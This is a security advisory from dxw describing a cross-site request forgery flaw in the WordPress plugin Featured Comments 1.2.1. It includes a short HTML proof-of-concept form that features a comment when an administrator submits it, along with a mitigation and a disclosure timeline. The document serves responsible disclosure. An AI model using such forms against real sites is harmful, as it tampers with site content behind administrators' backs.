WordPress Featured Comments 1.2.1 Cross Site Request Forgery

`Details  
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Software: Featured Comments  
Version: 1.2.1  
Homepage: http://wordpress.org/plugins/feature-comments/  
Advisory ID: dxw-2014-1360  
CVE: Awaiting assignment  
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)  
  
Description  
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CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses  
  
Vulnerability  
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An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments.  
  
Proof of concept  
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If a logged-in administrator user clicks the submit button on this form comment with ID of 9 will be featured. (In a real attack the form can be made to auto-submit using Javascript).  
<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\" method=\"POST\">  
<input type=\"text\" name=\"do\" value=\"feature\">  
<input type=\"text\" name=\"comment_id\" value=\"9\">  
<input type=\"submit\">  
</form>  
  
Mitigations  
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Disable the plugin until a fix is available.  
  
Disclosure policy  
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/  
  
Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.  
  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
  
Timeline  
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2014-05-22: Discovered  
2014-05-23: Email address for report requested via contact form at pippinsplugins.com  
2014-05-26: Author acknowledged report  
2014-06-10: dxw chased to establish timeline for a fix  
  
  
Discovered by dxw:  
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Tom Adams  
Please visit security.dxw.com for more information.  
  
  
  
  
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